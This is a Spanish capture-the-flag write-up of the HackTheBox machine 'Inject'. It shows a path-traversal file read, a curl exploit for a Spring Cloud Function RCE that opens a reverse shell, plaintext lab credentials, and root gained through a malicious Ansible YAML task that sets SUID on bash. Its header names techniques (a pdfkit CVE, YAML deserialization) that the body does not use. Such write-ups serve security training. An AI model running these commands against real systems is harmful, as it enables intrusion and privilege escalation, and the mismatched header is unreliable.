HackTheBox - Inject
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: RCE pdfkit 0.8.6 (CVE-2022-25765), Information Leakage, Leak Information, YAML Deserialization
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
c. Al visitar la página web tendremos un apartado de /upload
que nos permitirá subir una imagen
Al capturar la petición con Burp Suite nos fijamos que carga la imagen mediante un parámetro
La web es vulnerable a un LFI con el patrón:
..///////..////..//////etc/passwd
HackTricks - LFI
Nos mencionan en HackTricks que si al indicarle un directorio, a través del LFI, nos lista los archivos que existen, es una aplicación creada con Java.
d. Con lo anterior en mente buscamos ficheros que contengan información relevante.
Esta versión de SpringBoot es vulnerable a un RCE CVE-2022-22963
Nos entablaremos una reverse shell
1 2 3 4
❯ curl -s -X POST http://10.10.11.204:8080/functionRouter -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,'[Payload Base64]'}|{base64,-d}|{bash,-i}\")" -H "Accept-Encoding: gzip, deflate" -H "Accept: */*" -H "Accept-Language: en" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" -H "Content-Type: application/x-www-form-urlencoded" ------------------------------------------------------------------------- ❯ nc -lvnp 443 frank@inject:/$
Escalada de Privilegios 💹
a. En nuestro directorio encontraremos un directorio .m2 el cual contiene un fichero con las credenciales del usuario phil
1
2
<username>phil</username>
<password>DocPhillovestoInject123</password>
b. Subimos el pspy64
1
2
3
4
phil@inject:/tmp$ ./pspy64
<SNIP>
2023/09/21 16:56:01 CMD: UID=0 PID=5214 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
La tarea es del usuario root. Lo que hace es ejecutar todos los ficheros *.yml en el directorio /opt/automation/tasks/
Al investigar por alguna forma de escalar privilegios, encontramos este post
Creamos un fichero .yml en el que el comando a ejecutar será
chmod +s /bin/bash
1 2 3 4 5 6 7 8 9 10 11 12 13
phil@inject:/opt/automation/tasks$ ls -la /bin/bash -rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash phil@inject:/opt/automation/tasks$ cat book.yml - hosts: localhost tasks: - name: RShell command: chmod +s /bin/bash phil@inject:/opt/automation/tasks$ ls -la /bin/bash -rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash phil@inject:/opt/automation/tasks$ bash -p bash-5.0# whoami root